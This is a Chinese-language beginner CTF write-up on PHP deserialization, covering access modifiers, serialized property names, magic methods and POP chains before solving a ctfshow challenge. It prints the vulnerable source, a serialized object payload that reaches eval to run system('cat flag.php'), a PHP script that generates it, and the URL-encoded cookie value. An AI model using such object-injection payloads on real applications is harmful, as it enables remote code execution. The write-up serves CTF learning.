写在最前 :我发现现在网络上好多wp都是直接讲题目是怎么做的,可能对知道关于这道题中所讲的方法的一些前置知识人来说确实既是一个节约时间又能提供一个具体思路的好的writeup,但是对于我这样啥都不懂的人来说反而找不到真正适合的题解,要花大量的时间去找,去了解关于这道题目的前置知识,这对于一个自学者来说是最艰难也是最折磨的地方。因此,我希望我写的wp不仅仅是说这道题该怎么做,更是让一个完全没有基础的人也能看懂,而不是去反复的问AI这是啥意思,既是个人对零散知识的整合梳理,也是作为真正的萌新向wp。 【如果想详细了解可参阅php手册类与对象】
一:前置知识
1.三种修饰符
| 修饰符 | 类内部 | 子类 | 类外 |
|---|---|---|---|
public |
✅ | ✅ | ✅ |
protected |
✅ | ✅ | ❌ |
private |
✅ | ❌ | ❌ |
这里打勾代表能访问,这么看着其实有点一头雾水,还是举个栗子:
php
class A {
private $x = 1;
}
$a = new A();
echo $a->x; // ❌ 报错:不能从外部访问 private
-
外部不能访问
-
子类不能访问
-
只有 A 类内部 能访问
在 PHP 里,不同权限的属性,序列化名字是不一样的:
| 属性定义 | 序列化里的名字 |
|---|---|
public $a |
a |
protected $a |
\0*\0a |
private $a |
\0类名\0a |
这里其实可以参考之前我写的web255,当时构造的payload是这样的:
php
O:11:"ctfShowUser":3:{
s:8:"username";s:6:"xxxxxx";
s:8:"password";s:6:"xxxxxx";
s:5:"isVip";b:1;
}
可以看到是直接写username 和password ,这是因为那时候的定义的时候用的是public:
php
class ctfShowUser{
// 公共属性:用户名,默认值是 xxxxxx
public $username='xxxxxx';
// 公共属性:密码,默认值是 xxxxxx
public $password='xxxxxx';
// 是否是 VIP,默认 false(不是 VIP)
public $isVip=false;
// 检查当前对象是不是 VIP
public function checkVip(){
// $this 指的是"当前这个对象"
// 返回对象里的 isVip 属性
return $this->isVip;
}
而在这里定义时用的则是private,因此最前面要加上类名,具体的还是到后面题目中去看
2.普通方法名
"普通方法名"= 程序员自己随便起的函数名字,就比如说:
php
class A {
function abc() {}
function getInfo() {}
function helloWorld() {}
function 你开心就好() {}
}
这些都代表的是一个函数名字,abc ,getinfo这类,这里就要区别于php的魔术方法,这些是不能改动的:
php
__construct // 构造函数
__destruct // 析构函数
__wakeup
__toString
之所以讲这个也是因为跟题目有关,慢慢看下去就了解了。
3.POP链
POP 链(Property-Oriented Programming) 是通过"控制对象的属性",利用已有类的魔术方法,在反序列化过程中自动执行危险代码。POP链能存在的原因是因为有unserialize() ------ 自动创建对象和魔术方法 ------ 自动执行。
基本结构:
一个完整的POP链是三段式:
php
[入口] → [传递] → [危险点]
class A {
public $b;
function __destruct() {
$this->b->run();
}
}
class B {
public $c;
function run() {
eval($this->c);
}
}
这里我们需要的是B里面的c去执行eval ,但是B中没有任何魔术方法 ,而POP链中只有被程序自动调用的类才有机会去执行代码,因此我们要从A开始,构造的payload为:
php
O:1:"A":1:{
s:1:"b";
O:1:"B":1:{
s:1:"c";
s:10:"phpinfo();";
}
}
这样一个POP链形式的序列化字符串就形成了。
二:具体题目
给的代码如下:
php
<?php
// =======================
// 用户类(POP 链的入口)
// =======================
class ctfShowUser{
// 私有属性:用户名
// ⚠️ private:外部不能直接访问
// ⚠️ 反序列化时需要写成 \0ctfShowUser\0username
private $username = 'xxxxxx';
// 私有属性:密码
private $password = 'xxxxxx';
// 私有属性:是否 VIP
private $isVip = false;
// 私有属性:保存一个"对象"
// 表面上是 info,实际上可以被反序列化替换
private $class = 'info';
// 构造函数
public function __construct(){
// 正常情况下:
// 每次 new ctfShowUser(),都会把 $class 设成 info 对象
$this->class = new info();
}
// 登录函数
public function login($u, $p){
// 只是做字符串比较
// ❗ 返回值没有被 if 判断
// ❗ 成功 or 失败都不影响后续流程
return $this->username === $u && $this->password === $p;
}
// 析构函数(POP 链触发点)
public function __destruct(){
// ⚠️ 关键危险点
// 程序"假设" $this->class 是 info 对象
// 但攻击者可以把它换成 backDoor 对象
$this->class->getInfo();
}
}
// =======================
// 正常信息类(安全)
// =======================
class info{
// 私有属性
private $user = 'xxxxxx';
// 普通方法
public function getInfo(){
// 只是返回字符串
// ✔ 安全
return $this->user;
}
}
// =======================
// 后门类(危险 Gadget)
// =======================
class backDoor{
// 私有属性:存放攻击者的代码
private $code;
// 与 info 同名的方法
public function getInfo(){
// ⚠️ 危险函数
// $this->code 完全可控(通过反序列化)
eval($this->code);
}
}
// =======================
// 主程序逻辑
// =======================
// 从 GET 获取参数(字符串)
$username = $_GET['username'];
$password = $_GET['password'];
// 只要参数存在就进入
if (isset($username) && isset($password)) {
// ⚠️ 致命漏洞
// 直接反序列化用户可控的 Cookie
// 且没有 allowed_classes 限制
$user = unserialize($_COOKIE['user']);
// 调用 login
// ❗ login 成功与否不影响攻击
$user->login($username, $password);
}
这里就看到定义的时候用的是private, 那么后面我们构造序列化字符串时就要加上类名了。
然后这里有两个getinfo,而getInfo() 执行的内容,取决于当前对象是哪个类的对象, 这里我们需要的是含有eval的那个getinfo,所以我们要调用的就是backDoor,因此这里构造的payload则为:
php
O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("tac+flag.php");";}}
然后URL编码一下就可以了【我这里没写username和password,因此get里面传的就是默认值】
但是这里有个问题是我一个个手打过去很麻烦,可不可以编个程序跑一下,当然是可以的:
php
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = "system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
【其实这种序列化脚本还是挺简单的,照着题目给的改一下就行,都是公式化写法】
然后跑出来是这样的:
php
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
hackbar里加个cookie写一下就行了,记得get传参的两个。
三:总结
通过这道题,其实我们并不是"学会了某一道 CTF 题",而是完整走了一遍 PHP 反序列化漏洞的学习路径。如果用一句话概括这类题目,那就是:
攻击者并不是在"执行代码",而是在"构造对象结构",
程序自己会沿着既定逻辑把危险代码跑完。
下面从几个关键点来回顾。
1. private 并不是"防御",只是"增加构造难度"
在很多新人的直觉里,private 会让人觉得"更安全"。
但在反序列化漏洞中:
-
private / protected / public都可以被反序列化控制 -
区别只在于:
序列化字符串里字段名怎么写
真正要记住的是这张表:
| 属性类型 | 序列化里的名字 |
|---|---|
| public | a |
| protected | \0*\0a |
| private | \0类名\0a |
所以这道题里:
private $class;
必须写成:
php
"\0ctfShowUser\0class"
private 不是挡住你,而是逼我们"写对格式"
2.普通方法名 ≠ 魔术方法,真正"自动执行"的只有魔术方法
像 getInfo()、run() 这种:
-
只是 普通函数名
-
不会自动执行
-
必须有人去"调用它"
而真正关键的是这些 魔术方法:
__construct __destruct __wakeup __toString
在这道题里,真正触发整个 POP 链的只有一句:
public function __destruct(){ $this->class->getInfo(); }
也就是说:
不是 getInfo() 危险,而是"谁在什么时候调用了它"
3.POP 链的本质:不是"危险函数",而是"执行路径"
很多初学者会下意识去找:
-
eval -
system -
exec
但真正的分析顺序应该是:
-
程序一定会自动执行谁?
-
它会调用哪个属性 / 方法?
-
这个属性能不能被我替换成别的对象?
-
最终有没有走到危险函数?
所以一条标准 POP 链一定是:
入口(魔术方法) ↓ 中间对象(方法被调用) ↓ 危险点(eval / system)
在本题中对应关系是:
| 角色 | 类 |
|---|---|
| POP 链入口 | ctfShowUser::__destruct |
| 中间桥梁 | $this->class->getInfo() |
| 执行点 | backDoor::getInfo → eval() |
4.为什么一定要"从 ctfShowUser 开始构造对象"
原因只有一句话:
只有被程序"自动调用"的类,才有机会执行代码
-
backDoor里虽然有eval -
但程序 从来不会自动调用 backDoor
-
它只是一个"工具类"
所以 payload 的最外层 必须是 ctfShowUser ,
让程序在脚本结束时自动触发 __destruct(),
再一步步把执行流程"引到 backDoor"。
5.手写 payload 很痛苦,用 PHP 自动生成才是正解
手打序列化字符串的问题在于:
-
private 字段容易写错
-
字符串长度容易错
-
嵌套对象非常反人类
而用 PHP 本身来生成 payload:
echo urlencode(serialize(new ctfShowUser()));
好处是:
-
PHP 自动帮我们处理
\0类名\0属性 -
不用管字符串长度
-
结构 100% 合法
这不是"偷懒",而是标准做法
6.这道题真正学到的东西
如果把这道题抽象掉细节,那么我们掌握的是:
-
PHP 类 / 对象 / 访问修饰符的基本语义
-
private 属性在反序列化中的表现形式
-
魔术方法在 POP 链中的作用
-
为什么"有 eval ≠ 能 RCE"
-
如何从源码逆推出 payload 结构
-
如何用脚本而不是手算生成 payload
这些能力是 可以迁移到绝大多数 PHP 反序列化题目中的。